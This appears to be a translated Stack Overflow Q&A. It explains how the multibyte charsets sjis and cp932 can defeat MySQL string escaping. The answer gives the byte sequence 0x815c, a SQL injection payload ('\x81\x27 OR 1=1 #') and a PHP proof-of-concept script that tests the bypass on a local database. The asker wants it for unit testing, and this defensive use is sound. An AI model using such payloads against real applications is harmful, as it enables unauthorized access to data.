php - 如何使用 Shift-JIS 和 CP932 创建 SQL 注入(inject)攻击?

标签 php mysql security encoding sql-injection

我正在编写一些单元测试,以确保我的代码不会受到各种字符集下的 SQL 注入(inject)攻击。

根据this answer ,您可以通过使用以下字符集之一注入(inject) \xbf\x27 来创建漏洞:big5cp932gb2312gbksjis

这是因为如果您的转义器配置不正确,它会看到 0x27 并尝试对其进行转义,使其变为 \xbf\x5c\x27。但是,\xbf\x5c 实际上是这些字符集中的 一个 字符,因此引号 (0x27) 未转义。

然而,正如我通过测试发现的那样,这并不完全正确。它适用于 big5gb2312gbk 但均不适用于 0xbf270xbf5csjiscp932 中的有效字符。

两个

mb_strpos("abc\xbf\x27def","'",0,'sjis')

mb_strpos("abc\xbf\x27def","'",0,'cp932')

返回4。即,PHP 不会将 \xbf\x27 视为单个字符。这将为 big5gb2312gbk 返回 false

还有,这个:

mb_strlen("\xbf\x5c",'sjis')

返回 2(它为 gbk 返回 1)。

所以,问题是:是否有另一个字符序列使 sjiscp932 容易受到 SQL 注入(inject)的攻击,或者它们实际上是 不是脆弱吗?还是PHP在撒谎,我完全错了,MySQL会完全不同的解释?

最佳答案

魔鬼在细节中...让我们从 answer in question 开始描述易受攻击的字符集列表:

For this attack to work, we need the encoding that the server's expecting on the connection both to encode ' as in ASCII i.e. 0x27 and to have some character whose final byte is an ASCII \ i.e. 0x5c. As it turns out, there are 5 such encodings supported in MySQL 5.6 by default: big5, cp932, gb2312, gbk and sjis. We'll select gbk here.

这为我们提供了一些上下文 - 0xbf5c 用作 gbk 的示例,而不是用作所有 5 个字符集的通用字符。
恰好相同的字节序列在big5gb2312下也是有效字符。

此时,你的问题就变得这么简单了:

Which byte sequence is a valid character under cp932 and sjis and ends in 0x5c?

公平地说,我为这些字符集尝试的大多数谷歌搜索都没有给出任何有用的结果。但我确实找到了this CP932.TXT file ,如果您在其中搜索 '5c '(有空格),您将跳转到这一行:

0x815C 0x2015 #HORIZONTAL BAR

我们有一个赢家! :)

Some Oracle document确认 0x815c 对于 cp932sjis 是相同的字符,PHP 也可以识别它:

php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));
int(1)
int(1)

这是一个用于攻击的 PoC 脚本:

<?php
$username = 'username';
$password = 'password';

$mysqli = new mysqli('localhost', $username, $password);
foreach (array('cp932', 'sjis') as $charset)
{
        $mysqli->query("SET NAMES {$charset}");
        $mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
        $mysqli->query("USE {$charset}_db");
        $mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
        $mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')");

        $input = "\x81\x27 OR 1=1 #";
        $input = $mysqli->real_escape_string($input);
        $query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1";
        $result = $mysqli->query($query);
        if ($result->num_rows > 1)
        {
                echo "{$charset} exploit successful!\n";
        }

        $mysqli->query("DROP DATABASE {$charset}_db");
}

关于php - 如何使用 Shift-JIS 和 CP932 创建 SQL 注入(inject)攻击?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/28705324/

相关文章:

mysql - MySQL 中测试表是否存在最有效的方法是什么?

security - 我可以停止 "this website does not supply identity information"消息吗

php - 根据上次更新的结果反向更新数据库中的行树

php - MySQL更新更新所有行?

mysql - 如何对mysql中的变量进行模式匹配

mysql - Django:在模型和 View 中执行 datetime.now() 时的差异为 4-6 秒

php - MySQL 查询不插入行

javascript - joomla 2.5 上的元机器人标签,全局设置

php - $ _FILES中的 “type”来自哪里?

java - sun.reflect.CallerSensitive 注释是什么意思?